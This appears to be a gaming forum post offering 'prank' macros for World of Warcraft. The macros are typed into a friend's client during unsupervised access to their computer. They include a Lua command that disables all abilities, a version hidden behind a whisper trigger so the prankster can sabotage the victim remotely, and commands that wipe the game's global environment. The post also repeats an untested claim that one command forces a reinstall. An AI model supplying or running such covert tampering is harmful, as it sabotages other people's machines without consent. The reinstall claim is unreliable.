My friend pulled a very funny and clever prank on me, and I wanted to share it here. I won't spare all the details, but after he messaged all of us he wiped our 5 man just by whispering us. The first/second macros' credit goes to him (Stonefury - Torthreldrin).
So, what you need:
Access to the computer your friend is playing wow on (This one is usually very easy, such as LAN parties or just playing wow casually).
If you ever want to just have fun or mess with a friends wow (On his/her computer), just type in:
/run type=" "
This makes abilities unable to be used! Obviously, if you use this its easy to tell who did it. You can make it much less obvious if you put it to an ability:
#showtooltip Frost Shock
/cast Frost Shock
/run type=" "
Next, when they leave their computer you get this typed in to their computer.
/run STF = { } ST = CreateFrame("Frame", nil, UIParent) ST:RegisterEvent("CHAT_MSG_WHISPER") ST:SetScript("OnEvent", function (_,e) STF[e]() end) function STF.CHAT_MSG_WHISPER() if arg1=="Function" then if arg2=="Immortalmage" then type="" end end end;
Next, all you have to do is, whenever you want to, message them "Function". You can replace "Function" with any message you want (Like "HEAL!", so when you whisper them HEAL! it will activate). Change Immortalmage to the name of the character you're whispering FROM, not TO.
This makes it so no abilities can be used. You can't click, bind, or anything needed to play the game. It gets reset on a restart though, so it's not so good.
There is another variation.
/run STF = { } ST = CreateFrame("Frame", nil, UIParent) ST:RegisterEvent("CHAT_MSG_WHISPER") ST:SetScript("OnEvent", function (_,e) STF[e]() end) function STF.CHAT_MSG_WHISPER() if arg1=="." then type="" end end;
This does the same as the above, only this time, if anyone whispers them . then they get their abilities turned off. You can change the "." to "k" or "Message!" or whatever you want. Whenever the get whispered whatever was inside the quotations, they will have their abilities turned off.
Credits for this one to "willy t3h whale" for this newer version of the first.
Next: Ruining WoW a little bit more.
If you already have access to your friends computer, try typing this in:
/script wipe(_G)
It wipes the global table. The only way to reset it is with shutting down wow with the task manager/restarting. This one is a little more volatile, it makes it so addons reset, any functions (like looking around/moving/typeing/playing wow AT ALL) cannot work until it gets its default settings back (by opening wow again).
Finally, if you really want to screw with someone's WoW, type in (WARNING: DONT TYPE THIS IN UNLESS YOU MEAN IT):
/script setfenv(0, {})
I personally haven't used this one, but people who have, needed to uninstall wow and reinstall it. It ruins your wow pretty badly.
Have fun!